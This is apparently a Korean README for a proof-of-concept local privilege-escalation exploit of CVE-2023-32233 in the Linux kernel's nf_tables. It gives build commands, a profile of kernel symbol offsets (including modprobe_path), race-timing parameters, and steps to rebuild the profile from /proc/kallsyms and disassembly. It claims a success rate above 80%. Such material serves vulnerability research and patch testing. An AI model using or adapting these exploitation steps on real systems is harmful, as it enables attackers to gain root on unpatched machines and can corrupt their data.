
CVE-2023-32233: Linux 커널의 보안 취약점
아래 지침은 Ubuntu 23.04 (Lunar Lobster)에서 테스트되었습니다.

빌드 의존성을 설치하려면 다음 명령을 실행하세요:
sudo apt install gcc libmnl-dev libnftnl-dev
PoC 바이너리를 빌드하려면 다음 명령을 실행하세요:
gcc -Wall -o exploit exploit.c -lmnl -lnftnl
내장 프로파일에는 Ubuntu 23.04 (Lunar Lobster)의 다음 바이너리 패키지로 배포된 Linux 커널에 특화된 매개변수가 포함되어 있습니다:
내장 프로파일은 다음과 같습니다:
1 race_set_slab # {0,1}
1572 race_set_elem_count # k
4000 initial_sleep # ms
100 race_lead_sleep # ms
600 race_lag_sleep # ms
100 reuse_sleep # ms
39d240 free_percpu # hex
2a8b900 modprobe_path # hex
23700 nft_counter_destroy # hex
347a0 nft_counter_ops # hex
a nft_counter_destroy_call_offset # hex
ffffffff nft_counter_destroy_call_mask # hex
e8e58948 nft_counter_destroy_call_check # hex
다른 Linux 커널로 테스트할 때 내장 프로파일을 재정의하는 선택적 단계:
modprobe nf_tables
egrep ' (nft_counter_ops|nft_counter_destroy|free_percpu|modprobe_path)(\s|$)' /proc/kallsyms > profile
커널 베이스를 찾기 위해 커널 메모리에서 nf_tables.ko 이미지를 검사합니다. 특히, nft_counter_destroy() 서브루틴의 머신 코드를 분석합니다. 즉, 이 방법은 컴파일러와 컴파일 옵션에 민감합니다. 그러나 모든 일반적인 경우는 내장 프로파일을 재정의하여 처리할 수 있습니다.
예를 들어, nft_counter_destroy() 서브루틴의 머신 코드는 다음과 같을 수 있습니다:
000000000001e310 <nft_counter_destroy>:
1e310: f3 0f 1e fa endbr64
1e314: 48 8b 7e 08 mov rdi,QWORD PTR [rsi+0x8]
1e318: e9 00 00 00 00 jmp <free_percpu>
1e31d: 0f 1f 00 nop DWORD PTR [rax]
위의 경우, 구성 파일 "profile"에 다음 세 줄을 추가하여 몇 가지 매개변수를 지정할 수 있습니다.
먼저, free_percpu 변위 앞에 있는 dword의 오프셋을 재정의합니다:
5 nft_counter_destroy_call_offset # hex
여기서 값 5는 (1e31d - 1e310) - 8 표현식을 사용하여 계산되었습니다.
그런 다음, 유효성 검사로 다음 마스크를 사용하여 위 오프셋의 dword를 확인합니다:
ffffffff nft_counter_destroy_call_mask # hex
다음 값이 예상됩니다:
e9087e8b nft_counter_destroy_call_check # hex
취약점을 악용하려면 Linux 커널의 백그라운드 워커 스레드와의 레이스에서 승리해야 합니다. 내장 프로파일은 모바일 Sandy Bridge 및 데스크톱 Comet Lake를 포함한 광범위한 Intel 마이크로프로세서에서 해당 레이스에서 승리할 확률을 최대화하도록 조정되었습니다. 그러나 일부 마이크로프로세서는 추가 튜닝이 필요합니다. 예를 들어, 특정 설정에서 Alder Lake에서 태스크 전환 지연 시간이 증가하는 것을 관찰했으며, 이 경우 "profile"에 다음 줄을 추가해야 할 수 있습니다:
400 race_lead_sleep
테스트에서 유휴 베어메탈 시스템을 사용했을 때 취약점 악용 성공 확률이 80% 이상임을 측정했습니다.
PoC가 취약한 시스템에서 시작되면 커널 메모리가 손상되어 시스템이 불안정한 상태에 빠질 수 있습니다. 잠재적인 데이터 손상을 방지하기 위해 전용 시스템에서 PoC를 테스트할 것을 강력히 권장합니다.